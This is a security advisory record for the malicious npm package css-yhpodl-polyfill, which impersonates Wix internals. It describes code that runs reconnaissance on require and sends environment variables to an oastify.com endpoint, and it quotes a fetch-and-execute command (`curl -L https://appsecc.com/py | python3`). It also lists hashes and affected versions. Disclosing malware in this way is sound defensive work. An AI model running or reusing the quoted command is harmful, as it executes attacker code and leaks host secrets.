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Malicious code in css-yhpodl-polyfill (npm)

Type: advisorySource: OSV1 source record

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (5936fc65b4eba7b461c0eef7b66dfeecdc2da412f54fd667873e3e6950b0a857) css-yhpodl-polyfill ships thunderboltRegistry.js which, as an IIFE executed on require, runs shell reconnaissance (`id`, `whoami`, `env`, `ifconfig`/`ip addr`, hostname) via child_process.execSync and sends the collected host identity and full environment variables via GET to the hardcoded Burp Collaborator OAST endpoint https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/. The same file executes `curl -L https://appsecc.com/py | python3`, piping an attacker-controlled remote Python payload into python3 for arbitrary code execution on the installer host. The package name and exported identifiers (thunderboltRegistry, siteAssetsRegistry, documentManagementRegistry, editorRegistry, corvidRegistry) impersonate Wix's internal thunderbolt namespace, and registry-manifest.min.json references parastorage.com (Wix CDN) — the shape of a targeted dependency-confusion attack against the Wix engineering build pipeline. Installing or requiring this package exfiltrates environment secrets and grants remote code execution to the attacker.

Announced Source revision 1
Original source ↗

MAL-2026-17578

Primary source · Revision 1

Imported from structured advisory data. Source references identify upstream records or fields; verify affected versions and your deployed configuration.

Security context

Source reference: osv:MAL-2026-17578

css-yhpodl-polyfill

Source reference: /affected/0/package/name

Affected versions
1.0.0

Source reference: /affected/0/versions

Fixed versions
Not stated in this record
Prerequisites
Not stated in this record

Structured affected-version data

Original package identities and version rules from this source.

[
  {
    "package": {
      "name": "css-yhpodl-polyfill",
      "purl": "pkg:npm/css-yhpodl-polyfill",
      "ecosystem": "npm"
    },
    "versions": [
      "1.0.0"
    ],
    "database_specific": {
      "cwes": [
        {
          "name": "Embedded Malicious Code",
          "cweId": "CWE-506",
          "description": "The product contains code that appears to be malicious in nature."
        }
      ],
      "source": "https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/css-yhpodl-polyfill/MAL-2026-17578.json",
      "indicators": {
        "evidence_files": [
          {
            "path": "thunderboltRegistry.js",
            "tlsh": "e07131b5b99df02166c33438db7f5049b4bb86672c6caee0740899b01f7585c01ba6f4",
            "sha256": "098fac4f87d662808d1fcb744c79416ac42dd1ae997a1f96a998f2f3b46ce699"
          }
        ],
        "package_integrity": [
          {
            "hashes": {
              "sha1": "debbd9cf7fd89ebc1b3427cbf2fc359987d4894d",
              "sha512_sri": "sha512-oswywbFoijkgGvyOFTgnks8QB92LFOk+2erb5YFiB0mPjrB8hxhT9fQOTsZvQYxjUjBmfRlNAe3+loIbsXqPRA=="
            },
            "filename": "css-yhpodl-polyfill-1.0.0.tgz"
          }
        ]
      }
    }
  }
]

Publisher severity

No explicit severity was provided.

Event
#84292 · Revision 1
Added to Heist Feed
Publisher date
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